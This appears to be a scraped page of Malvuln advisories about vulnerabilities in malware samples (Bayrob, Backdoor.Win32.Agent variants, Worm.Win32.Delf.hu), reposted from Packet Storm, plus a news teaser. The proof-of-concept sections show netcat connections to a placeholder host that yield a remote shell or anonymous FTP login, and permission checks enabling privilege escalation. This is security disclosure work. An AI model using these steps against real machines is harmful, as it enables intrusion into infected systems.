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HEUR.Trojan.Win32.Bayrob.gen Insecure Permissions
https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
HEUR.Trojan.Win32.Bayrob.gen malware suffers from an insecure permissions vulnerability.
MD5 |
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Source:packetstormsecurity.com
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HEUR.Trojan.Win32.Bayrob.gen Insecure Permissions
https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
HEUR.Trojan.Win32.Bayrob.gen malware suffers from an insecure permissions vulnerability.
MD5 |
a29d243d13748526119f17cb924f380eDownload
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/765698ccfb033c86eea6d293235d7ed0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: HEUR.Trojan.Win32.Bayrob.gen
Vulnerability: Insecure Permissions
Description: The malware creates a insecure dir named "rlpzeasjvgnb" under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 765698ccfb033c86eea6d293235d7ed0
Vuln ID: MVID-2021-0191
Dropped files: mv4aefb186aghbtwsvxglk3h.exe, btqq2r, gzjegrkpac, qaazfq
Disclosure: 04/29/2021
Exploit/PoC:
C:\>cacls rlpzeasjvgnb
C:\rlpzeasjvgnb BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\>dir rlpzeasjvgnb
Volume in drive C has no label.
Directory of C:\rlpzeasjvgnb
04/25/2021 12:21 AM 4 btqq2r
04/25/2021 12:20 AM 0 gzjegrkpac
04/25/2021 12:20 AM 222,208 mv4aefb186aghbtwsvxglk3h.exe
04/25/2021 12:20 AM 6 qaazfq
4 File(s) 222,218 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
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HEUR.Trojan.Win32.Bayrob.gen Insecure Permissions
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Microsoft Windows UAC Privilege Escalation
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Microsoft Windows UAC Privilege Escalation
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Microsoft Windows UAC Privilege Escalation
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Backdoor.Win32.Agent.gmug Heap Corruption
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Backdoor.Win32.Agent.gmug Heap Corruption
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Backdoor.Win32.Agent.gmug Heap Corruption
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Exploit Collector
Backdoor.Win32.Agent.oj Code Execution
https://3.bp.blogspot.com/-Qhp4qePCt4w/WWlvgnoLBHI/AAAAAAAAIQQ/Pg-5D4V1nfk8Sq6EZO_I88mZqTiN0MsZgCLcBGAs/s1600/h89.png
Backdoor.Win32.Agent.oj malware suffers from a code execution vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
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Backdoor.Win32.Agent.oj Code Execution
https://3.bp.blogspot.com/-Qhp4qePCt4w/WWlvgnoLBHI/AAAAAAAAIQQ/Pg-5D4V1nfk8Sq6EZO_I88mZqTiN0MsZgCLcBGAs/s1600/h89.png
Backdoor.Win32.Agent.oj malware suffers from a code execution vulnerability.
MD5 |
6d1be64fc3160dd1788ad30d9a50cbaeDownload
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c1e92e04cdb432d83ea2610ef226d4cd_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.oj
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 23, upon connection to an infected host third-party attackers get handed a remote shell.
Type: PE32
MD5: c1e92e04cdb432d83ea2610ef226d4cd
Vuln ID: MVID-2021-0197
Dropped files:
Disclosure: 04/29/2021
Exploit/PoC:
C:\>nc64.exe MALWARE_HOST_IP 23
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\victim>whoami
whoami
desktop-1x6iqwn\victim
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
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Backdoor.Win32.Agent.oj Code Execution
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Exploit Collector
Backdoor.Win32.Agent.ggw Authentication Bypass
https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
Backdoor.Win32.Agent.ggw malware suffers from a bypass vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
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Backdoor.Win32.Agent.ggw Authentication Bypass
https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
Backdoor.Win32.Agent.ggw malware suffers from a bypass vulnerability.
MD5 |
0d7159b801928d61b465f30c3e488973Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/509e3d4839688c6173980dfba22ebd55.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.ggw
Vulnerability: Authentication Bypass
Description: The malware runs a built-in FTP server listening on one of several random TCP ports like 32335, 27227, 27942, 14223, 14988, 11092. Third-party attackers who can reach the server and that know or guess the port can "logon" using any USER/PASS combination or provide no credentials at all.
Type: PE32
MD5: 509e3d4839688c6173980dfba22ebd55
Vuln ID: MVID-2021-0193
Dropped files:
Disclosure: 04/29/2021
Exploit/PoC:
1) Any user creds
nc64.exe MALWARE_HOST_IP 14223
220 ProFTPD 1.13.4 Server (ProFTPD Default Installation)
USER mal
331 Password required
PASS vuln
230 User logged in.
SYST
501 Option not supported.
LIST
226 Transfer complete
2) No creds
nc64.exe MALWARE_HOST_IP 14223
220 ProFTPD 1.13.4 Server (ProFTPD Default Installation)
SYST
501 Option not supported.
LIST
226 Transfer complete
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
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Backdoor.Win32.Agent.ggw Authentication Bypass
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Worm.Win32.Delf.hu Insecure Permissions
https://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png
Worm.Win32.Delf.hu malware suffers from an insecure permissions vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
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Worm.Win32.Delf.hu Insecure Permissions
https://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png
Worm.Win32.Delf.hu malware suffers from an insecure permissions vulnerability.
MD5 |
4de532f07b14fcfbf215acdf872f2351Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/46e27d7bfdbda7a71dfa12a79026a88b.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Worm.Win32.Delf.hu
Vulnerability: Insecure Permissions
Description: The malware creates a hidden insecure dir named "RECYCLER" under c:\ drive and grants change (C) permissions to the authenticated user group. Standard users can rename the executables dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 46e27d7bfdbda7a71dfa12a79026a88b
Vuln ID: MVID-2021-0192
Dropped ok.exe, REM.com
Disclosure: 04/29/2021
Exploit/PoC:
C:\>dir /a RECYCLER
Volume in drive C has no label.
Directory of C:\RECYCLER
06/16/2012 12:21 AM 449,024 ok.exe
06/16/2012 09:55 AM 61,952 REM.com
2 File(s) 510,976 bytes
2 Dir(s) 23,871,930,368 bytes free
C:\>cacls RECYCLER
C:\RECYCLER BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
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Worm.Win32.Delf.hu Insecure Permissions
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Backdoor.Win32.Agent.oj Buffer Overflow
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Backdoor.Win32.Agent.oj Buffer Overflow
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Backdoor.Win32.Agent.oj Buffer Overflow
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Dark Reading: Attacks/Breaches
7 Modern-Day Cybersecurity Realities
Security pros may be working with a false sense of security. We explore seven places where old methods and techniques have to change to keep their organizations safe.
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7 Modern-Day Cybersecurity Realities
Security pros may be working with a false sense of security. We explore seven places where old methods and techniques have to change to keep their organizations safe.
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Dark Reading
7 Modern-Day Cybersecurity Realities
Security pros may be working with a false sense of security. We explore seven places where old methods and techniques have to change to keep their organizations